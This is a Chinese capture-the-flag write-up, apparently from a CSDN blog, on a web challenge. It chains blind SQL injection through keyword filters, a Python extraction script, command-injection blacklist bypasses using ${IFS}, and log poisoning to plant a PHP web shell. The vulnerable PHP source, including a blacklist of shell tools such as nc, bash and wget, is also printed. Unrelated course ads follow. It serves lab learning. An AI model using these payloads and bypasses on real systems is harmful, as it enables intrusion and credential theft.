BZMCTF:流量监控平台

http://www.bmzclub.cn/challenges#%E6%B5%81%E9%87%8F%E7%9B%91%E6%8E%A7%E5%B9%B3%E5%8F%B0

在这里插入图片描述
在这里插入图片描述
通过枚举可知存在admin用户,当uname=admin时,发现提示密码错误,当uname!=admin时提示用户名错误。
在这里插入图片描述

在这里插入图片描述
另外存在过滤SQL关键字符
在这里插入图片描述
简单fuzz一下过滤了哪些字符
在这里插入图片描述
首先注释无法使用,可以通过构造字符闭合来绕过
在这里插入图片描述
空格及内联注释也无法使用,可以利用()绕过
在这里插入图片描述
andor&|都被过滤,可以使用同或,虽然mysql只支持notandorxor四种运算符。但是同或的运算逻辑也是可以在mysql中可以用符号!=!表示的。同或的运算逻辑与异或相反

and/&&的逻辑:
1 and 1 == 1
1 and 0 == 0
0 and 1 == 0
0 and 0 == 0

or/||的逻辑:
1 or 1 == 1
1 or 0 == 1
0 or 1 == 1
0 or 0 == 0

同或!=!的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1

异或xor的逻辑:
1 xor 1 == 0
0 xor 1 == 1
1 xor 0 == 1
0 xor 0 == 0

在这里插入图片描述
在这里插入图片描述
这里我们只需要控制中间的表达式值对注入信息的每一位fuzz,进行布尔盲注即可,如下图所示
在这里插入图片描述
当测试注入语句正确时,只返回一条admin的数据,这时候username是正确的,所以返回password错误。当注入测试语句时错误的,则返回username错误,以此作为判断依据。

但是从fuzz的黑名单中已知了,逗号,是被过滤得。得尝试不适用逗号也能截位。
经查阅资料,发现可以使用from x for y的方法来绕过逗号,
在这里插入图片描述
但是有问题的是这里的for也含有or,此类含有or字符的SQL关键字还有information

当mysql版本大于5.6information的绕过就是利用innodb引擎下自带的两张信息表:innodb_index_statsinnodb_table_stats

from x for y没有for一样可以截位,只不过不能一位一位截取罢了
在这里插入图片描述
综上所述即可构造
在这里插入图片描述

uname=admin'!=!(ascii(mid(user()from(-1)))=116)!=!'1&passwd=mochu7

在这里插入图片描述
user()最后一位的ascii码改为不正确时,返回username error
在这里插入图片描述
可以猜测一下user()是不是root@localhost,不过这样就不能用ascii()了,可以用hex()。后面脚本也都是用hex()

uname=admin'!=!(hex(mid(user()from(-14)))='726F6F74406C6F63616C686F7374')!=!'1&passwd=mochu7

在这里插入图片描述
接下来使用Python开始编写盲注脚本

import requests
import string
from binascii import *

allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

burp0_url = "http://www.bmzclub.cn:20351/login.php"
burp0_cookies = {"PHPSESSID": "l9tsv3e1umnp0lk9dahkee5l41", "session": "6bc4a005-f112-45e7-a15d-8b323e5b879d"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://www.bmzclub.cn:20351", "Connection": "close", "Referer": "http://www.bmzclub.cn:20351/", "Upgrade-Insecure-Requests": "1"}

hexdata = ''

for l in range(1,50):
    for s in allstr:
        s = hexlify(bytes(s.encode())).decode().upper()
        payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)
        burp0_data = {"uname": payload, "passwd": "mochu7"}
        resp = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        if 'password error!!@_@' in resp.text:
            hexdata = s + hexdata
            print(unhexlify(hexdata).decode())
        else:
            continue

查用户名/当前数据库/版本

payload = "admin'!=!(hex(mid(user()from(-{})))='{}')!=!'1".format(l,s+hexdata)

payload = "admin'!=!(hex(mid(database()from(-{})))='{}')!=!'1".format(l,s+hexdata)

payload = "admin'!=!(hex(mid(version()from(-{})))='{}')!=!'1".format(l,s+hexdata)

注入得到的信息如下:

user():	root@localhost

current_database(): ctf

version(): 10.2.26-MariaDB-log

查ctf库中的表名

payload = "admin'!=!(hex(mid((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)='ctf')from(-{})))='{}')!=!'1".format(l,s+hexdata)

查询结果显示当前数据库中只有一张admin

接下来无法通过innodb这两张表查到字段的数据了,因为限制太多,如限制了反引号。不确定能否通过盲注查询出字段数据,这里就不继续查询admin表字段数据了,直接就可以通过POST的参数尝试猜测字段名为unamepasswd

如果这里没有过滤*,那就可以直接select * from ctf.admin;

查字段uname的内容

payload = "admin'!=!((select(hex(mid(group_concat(uname)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)

只有一个用户admin

继续查字段passwd的内容

payload = "admin'!=!((select(hex(mid(group_concat(passwd)from(-{})))='{}')from(ctf.admin)))!=!'1".format(l,s+hexdata)

在这里插入图片描述
得到用户admin的密码:e10adc3949ba59abbe56e057f20f883e

应该是md5,拿去cmd5查询一下
在这里插入图片描述
。。。。。。。密码就这???????
上面所有的努力就是一个弱口令登陆的的事情???????

唉,早知道就直接尝试弱口令了。不过没关系。毕竟是CTF,能学到的以前不知道的姿势就行,又不是实战渗透。
实战估计早就吐血了。

得到密码后成功登录
在这里插入图片描述
猜测命令执行,没有回显猜测是exec()执行
在这里插入图片描述
命令执行出错有回显
在这里插入图片描述
测试的时候发现,有过滤
在这里插入图片描述
简单fuzz了下发现过滤了ncbashpythonphpwgetftpsh>以及空格等,命令执行绕过,过滤了这些应该很容易就绕过了吧,姿势网上多的很,这里就不赘述了。

另外经过多次测试后发现这里执行命令对错应该是直接判断exec()的返回值,这样的话显示的命令执行对错就没什么用了,有些正确的命令本身没有输出例如cpmv等。而且有些错误的命令执行会输出报错信息,被exec()作为返回值反而回显命令执行成功。

一开始试了下反弹shell,结果试了很多次没成功,也是迷。干脆就用别的办法了。

第一种方法:利用cp将flag直接复制到web目录下

cp${IFS}/flag${IFS}./flag.html

直接访问/admin/flag.html
在这里插入图片描述
第二种方法:利用burp,将shell写在url后面
在这里插入图片描述
Nginx的服务器,默认日志文件地址/var/log/nginx/access.log或者/var/log/nginx/error.log
利用cp将日志文件复制到web目录,后缀为php

cp${IFS}/var/log/nginx/access.log${IFS}mochu7.ph\p

执行完成后,访问http://www.bmzclub.cn:20351/admin/mochu7.php
在这里插入图片描述
成功拿到shell
在这里插入图片描述
有命令执行,操作空间就很大。还有很多别的方法自己去发掘吧。

最后贴一下源码
login.php

<?php
        header("Content-Type:text/html;charset=utf-8");
        error_reporting(E_ERROR);
        define ('PATH_WEB', dirname(__FILE__).'/');
        require_once(dirname(__FILE__).'/include/conf.php');
        require_once(dirname(__FILE__).'/include/fiter.php');
        #var_dump($_SESSION);
        if($_SESSION['flag'] === 1){
                header("location:./admin/");exit;
        }
        #echo $_POST['uname'].'````'.$_POST['passwd'];

        if($_POST['uname'] && $_POST['passwd']){
                $obj = new fiter();
                $uname = $obj->sql_clean($_POST['uname']);
                $passwd = md5($_POST['passwd']);
                $query="SELECT * FROM admin WHERE uname='".$uname."'";
                $result=mysql_query($query);
                #var_dump($result);
                if ($row = mysql_fetch_array($result)){
                        #print_r($row);echo "\n\r<br/>";
            if ($row['passwd']===$passwd){
                                $_SESSION['flag'] = 1;
                                #echo $_SESSION['flag'];
                                header("location:./admin/");exit();
                        }
            else{
                                echo "<script> alert('password error!!@_@');parent.location.href='index.php'; </script>"; exit();
            }
        }
                else{
                        echo "<script> alert('username error!!@_@');parent.location.href='index.php'; </script>"; exit();
                }

        }
        else {
                echo "<script> alert('username and password must have a value!!@_@');parent.location.href='index.php'; </script>"; exit();
        }
?>

filter.php

<?php
class fiter{
        var $str;
        var $order;

        function sql_clean($str){
                if(is_array($str)){
                        echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;
                }
                $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";

        //由于在mysql中认为 %a0 也是空格,所以这里也需要过滤,
                //在这里做了修改,添加 %a0

                if(preg_match($filter,$str)){
                        echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
                }else if(strrpos($str,urldecode("%00"))){
                        echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
                }
                return $this->str=$str;
        }

        function ord_clean($ord){
                $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";
                if (preg_match("/".$filter."/i",$ord) == 1){
                        return $this->order = "";
                }
                return $this->order = $ord;
        }
?>

admin/index.php

<?php
header("Content-Type:text/html;charset=utf-8");
$o = new fiter();
$a = $o->ord_clean($_POST['ord']);
if($a){
        if(exec($a))echo '命令执行成功!!';
        else echo "命令执行出错!!";
}else echo "想干啥呢~_~!!"
?>
相关推荐
<p> 需要学习Windows系统YOLOv4的同学请前往《Windows版YOLOv4目标检测实战:原理与源码解析》, </p> <p> 课程链接 https://edu.csdn.net/course/detail/29865 </p> <h3> <span style="color:#3598db;">【为什么要学习这门课】</span> </h3> <p> <span>Linux</span>创始人<span>Linus Torvalds</span>有一句名言:<span>Talk is cheap. Show me the code. </span><strong><span style="color:#ba372a;">冗谈不够,放码过来!</span></strong> </p> <p> <span> </span>代码阅读是从基础到提高的必由之路。尤其对深度学习,许多框架隐藏了神经网络底层的实现,只能在上层调包使用,对其内部原理很难认识清晰,不利于进一步优化和创新。 </p> <p> YOLOv4是最近推出的基于深度学习的端到端实时目标检测方法。 </p> <p> YOLOv4的实现darknet是使用C语言开发的轻型开源深度学习框架,依赖少,可移植性好,可以作为很好的代码阅读案例,让我们深入探究其实现原理。 </p> <h3> <span style="color:#3598db;">【课程内容与收获】</span> </h3> <p> 本课程将解析YOLOv4的实现原理和源码,具体内容包括: </p> <p> - YOLOv4目标检测原理<br /> - 神经网络及darknet的C语言实现,尤其是反向传播的梯度求解和误差计算<br /> - 代码阅读工具及方法<br /> - 深度学习计算的利器:BLAS和GEMM<br /> - GPU的CUDA编程方法及在darknet的应用<br /> - YOLOv4的程序流程 </p> <p> - YOLOv4各层及关键技术的源码解析 </p> <p> 本课程将提供注释后的darknet的源码程序文件。 </p> <h3> <strong><span style="color:#3598db;">【相关课程】</span></strong> </h3> <p> 除本课程《YOLOv4目标检测:原理与源码解析》外,本人推出了有关YOLOv4目标检测的系列课程,包括: </p> <p> 《YOLOv4目标检测实战:训练自己的数据集》 </p> <p> 《YOLOv4-tiny目标检测实战:训练自己的数据集》 </p> <p> 《YOLOv4目标检测实战:人脸口罩佩戴检测》<br /> 《YOLOv4目标检测实战:中国交通标志识别》 </p> <p> 建议先学习一门YOLOv4实战课程,对YOLOv4的使用方法了解以后再学习本课程。 </p> <h3> <span style="color:#3598db;">【YOLOv4网络模型架构图】</span> </h3> <p> 下图由白勇老师绘制 </p> <p> <img alt="" src="https://img-bss.csdnimg.cn/202006291526195469.jpg" /> </p> <p>   </p> <p> <img alt="" src="https://img-bss.csdnimg.cn/202007011518185782.jpg" /> </p>
<p> 欢迎参加英特尔® OpenVINO™工具套件初级课程 !本课程面向零基础学员,将从AI的基本概念开始,介绍人工智能与视觉应用的相关知识,并且帮助您快速理解英特尔® OpenVINO™工具套件的基本概念以及应用场景。整个课程包含了视频的处理,深度学习的相关知识,人工智能应用的推理加速,以及英特尔® OpenVINO™工具套件的Demo演示。通过本课程的学习,将帮助您快速上手计算机视觉的基本知识和英特尔® OpenVINO™ 工具套件的相关概念。 </p> <p> 为保证您顺利收听课程参与测试获取证书,还请您于<strong>电脑端</strong>进行课程收听学习! </p> <p> 为了便于您更好的学习本次课程,推荐您免费<strong>下载英特尔® OpenVINO™工具套件</strong>,下载地址:https://t.csdnimg.cn/yOf5 </p> <p> 收听课程并完成章节测试,可获得本课程<strong>专属定制证书</strong>,还可参与<strong>福利抽奖</strong>,活动详情:https://bss.csdn.net/m/topic/intel_openvino </p> <p> 8月1日-9月30日,学习完成【初级课程】的小伙伴,可以<span style="color:#FF0000;"><strong>免费学习【中级课程】</strong></span>,中级课程免费学习优惠券将在学完初级课程后的7个工作日内发送至您的账户,您可以在:<a href="https://i.csdn.net/#/wallet/coupon">https://i.csdn.net/#/wallet/coupon</a>查询优惠券情况,请大家报名初级课程后尽快学习哦~ </p> <p> <span style="font-size:12px;">请注意:点击报名即表示您确认您已年满18周岁,并且同意CSDN基于商务需求收集并使用您的个人信息,用于注册OpenVINO™工具套件及其课程。CSDN和英特尔会为您定制最新的科学技术和行业信息,将通过邮件或者短信的形式推送给您,您也可以随时取消订阅不再从CSDN或Intel接收此类信息。 查看更多详细信息请点击CSDN“<a href="https://passport.csdn.net/service">用户服务协议</a>”,英特尔“<a href="https://www.intel.cn/content/www/cn/zh/privacy/intel-privacy-notice.html?_ga=2.83783126.1562103805.1560759984-1414337906.1552367839&elq_cid=1761146&erpm_id=7141654/privacy/us/en/">隐私声明</a>”和“<a href="https://www.intel.cn/content/www/cn/zh/legal/terms-of-use.html?_ga=2.84823001.1188745750.1560759986-1414337906.1552367839&elq_cid=1761146&erpm_id=7141654/privacy/us/en/">使用条款</a>”。</span> </p> <p> <br /> </p>
<p> 课程演示环境:<span>Ubuntu</span> </p> <p> <span> </span> </p> <p> 需要学习<span>Windows</span>系统<span>YOLOv4-tiny</span>的同学请前往《<span>Windows</span>版<span>YOLOv4-tiny</span>目标检测实战:训练自己的数据集》 <span></span> </p> <p> <span> </span> </p> <p> <span style="color:#E53333;">YOLOv4-tiny</span><span style="color:#E53333;">来了!速度大幅提升!</span><span></span> </p> <p> <span> </span> </p> <p> <span>YOLOv4-tiny</span>在<span>COCO</span>上的性能可达到:<span>40.2% AP50, 371 FPS (GTX 1080 Ti)</span>。相较于<span>YOLOv3-tiny</span>,<span>AP</span>和<span>FPS</span>的性能有巨大提升。并且,<span>YOLOv4-tiny</span>的权重文件只有<span>23MB</span>,适合在移动端、嵌入式设备、边缘计算等设备上部署。<span></span> </p> <p> <span> </span> </p> <p> 本课程将手把手地教大家使用<span>labelImg</span>标注和使用<span>YOLOv4-tiny</span>训练自己的数据集。课程实战分为两个项目:单目标检测(足球目标检测)和多目标检测(足球和梅西同时检测)。<span></span> </p> <p> <span> </span> </p> <p> 本课程的<span>YOLOv4-tiny</span>使用<span>AlexAB/darknet</span>,在<span>Ubuntu</span>系统上做项目演示。包括:<span>YOLOv4-tiny</span>的网络结构、安装<span>YOLOv4-tiny</span>、标注自己的数据集、整理自己的数据集、修改配置文件、训练自己的数据集、测试训练出的网络模型、性能统计<span>(mAP</span>计算和画出<span>PR</span>曲线<span>)</span>和先验框聚类分析。 <span> </span> </p> <p> <span> </span> </p> <p> 除本课程《<span>YOLOv4-tiny</span>目标检测实战:训练自己的数据集》外,本人推出了有关<span>YOLOv4</span>目标检测的系列课程。请持续关注该系列的其它视频课程,包括:<span></span> </p> <p> 《<span>YOLOv4</span>目标检测实战:训练自己的数据集》<span></span> </p> <p> 《<span>YOLOv4</span>目标检测实战:人脸口罩佩戴识别》<span></span> </p> <p> 《<span>YOLOv4</span>目标检测实战:中国交通标志识别》<span></span> </p> <p> 《<span>YOLOv4</span>目标检测:原理与源码解析》<span></span> </p> <p> <br /> </p> <p> <br /> </p> <p> <img alt="" src="https://img-bss.csdnimg.cn/202007061437441198.jpg" /> </p> <img alt="" src="https://img-bss.csdnimg.cn/202007061438066851.jpg" />
<p> 课程演示环境:Windows10  </p> <p> 需要学习<span>Ubuntus</span>系统<span>YOLOv4-tiny</span>的同学请前往《<span>YOLOv4-tiny</span>目标检测实战:训练自己的数据集》 <span></span> </p> <p> <span> </span> </p> <p> <span style="color:#E53333;">YOLOv4-tiny</span><span style="color:#E53333;">来了!速度大幅提升!</span><span></span> </p> <p> <span> </span> </p> <p> <span>YOLOv4-tiny</span>在<span>COCO</span>上的性能可达到:<span>40.2% AP50, 371 FPS (GTX 1080 Ti)</span>。相较于<span>YOLOv3-tiny</span>,<span>AP</span>和<span>FPS</span>的性能有巨大提升。并且,<span>YOLOv4-tiny</span>的权重文件只有<span>23MB</span>,适合在移动端、嵌入式设备、边缘计算设备上部署。<span></span> </p> <p> <span> </span> </p> <p> 本课程将手把手地教大家使用<span>labelImg</span>标注和使用<span>YOLOv4-tiny</span>训练自己的数据集。课程实战分为两个项目:单目标检测(足球目标检测)和多目标检测(足球和梅西同时检测)。<span></span> </p> <p> <span> </span> </p> <p> 本课程的<span>YOLOv4-tiny</span>使用<span>AlexAB/darknet</span>,在<span>Windows10</span>系统上做项目演示。包括:<span>YOLOv4-tiny</span>的网络结构、安装<span>YOLOv4-tiny</span>、标注自己的数据集、整理自己的数据集、修改配置文件、训练自己的数据集、测试训练出的网络模型、性能统计<span>(mAP</span>计算<span>)</span>和先验框聚类分析。 <span> </span> </p> <p> <span> </span> </p> <p> 除本课程《<span>Windows</span>版<span>YOLOv4-tiny</span>目标检测实战:训练自己的数据集》外,本人推出了有关<span>YOLOv4</span>目标检测的系列课程。请持续关注该系列的其它视频课程,包括:<span></span> </p> <p> 《<span>Windows</span>版<span>YOLOv4</span>目标检测实战:训练自己的数据集》<span></span> </p> <p> 《<span>Windows</span>版<span>YOLOv4</span>目标检测实战:人脸口罩佩戴识别》<span></span> </p> <p> 《<span>Windows</span>版<span>YOLOv4</span>目标检测实战:中国交通标志识别》<span></span> </p> <p> 《<span>Windows</span>版<span>YOLOv4</span>目标检测:原理与源码解析》<span></span> </p> <p> <span> <img alt="" src="https://img-bss.csdnimg.cn/202007061503586145.jpg" /></span> </p> <p> <span><img alt="" src="https://img-bss.csdnimg.cn/202007061504169339.jpg" /><br /> </span> </p>
<p> <span style="font-size:16px;">Zabbix 是一个企业级分布式开源监控解决方案。</span> </p> <p> <span style="font-size:16px;"> </span> </p> <p> <span style="font-size:16px;">Zabbix 软件能够监控众多网络参数和服务器的健康度、完整性。Zabbix 使用灵活的告警机制,允许用户为几乎任何事件配置基于邮件的告警。这样用户可以快速响应服务器问题。Zabbix 基于存储的数据提供出色的报表和数据可视化功能。</span> </p> <p> <span style="font-size:16px;"> </span> </p> <p> <span style="font-size:16px;">Zabbix 支持主动轮询(polling)和被动捕获(trapping)。Zabbix所有的报表、统计数据和配置参数都可以通过基于 Web 的前端页面进行访问。基于 Web 的前端页面确保您可以在任何地方访问您监控的网络状态和服务器健康状况。适当的配置后,Zabbix 可以在监控 IT 基础设施方面发挥重要作用。无论是对于有少量服务器的小型组织,还是拥有大量服务器的大企业而言,同样适用。</span> </p> <p> <span style="font-size:16px;"> </span> </p> <p> <span style="font-size:16px;">Zabbix 是免费的。Zabbix 是根据 GPL 通用公共许可证的第二版编写和发布的。这意味着产品源代码是免费发布的,可供公共使用。</span> </p> <p> <br /></p> <p> <strong>主要讲解8个主题:</strong> </p> <p> 1.<span style="font-size:9px;">     </span>通过SNMP防火墙设备的监控 </p> <p> 2.<span style="font-size:9px;">     </span>通过SNMP交换机设备的监控 </p> <p> 3.<span style="font-size:9px;">     </span>对Windows的性能、服务、用户登陆监控 </p> <p> 4.<span style="font-size:9px;">     </span>对Linux的性能、用户登陆情况进行监控 </p> <p> 5.<span style="font-size:9px;">     </span>生产中常用的服务进行监控,如nginx,httpd,mysql,ceph,bind等 </p> <p> 6.<span style="font-size:9px;">     </span>Zabbix分布式的部署和监控 </p> <p> 7.<span style="font-size:9px;">     </span>常见的zabbix三种报警方式 </p> <p> 8.<span style="font-size:9px;">     </span>使用grafana对zabbix中的数据进行展示 </p> <p> <br /></p> <p> <strong><span style="color:#FF0000;"><img src="https://img-bss.csdn.net/201904170341178480.png" alt="" /><br /></span></strong> </p> <p> <strong><span style="color:#FF0000;"><img src="https://img-bss.csdn.net/201904170342156152.png" alt="" /><br /></span></strong> </p> <p> <strong><span style="color:#FF0000;"><img src="https://img-bss.csdn.net/201904170342379246.png" alt="" /><br /></span></strong> </p> <p> <strong><span style="color:#FF0000;"><br /></span></strong> </p>
©️2020 CSDN 皮肤主题: 撸撸猫 设计师:马嘣嘣 返回首页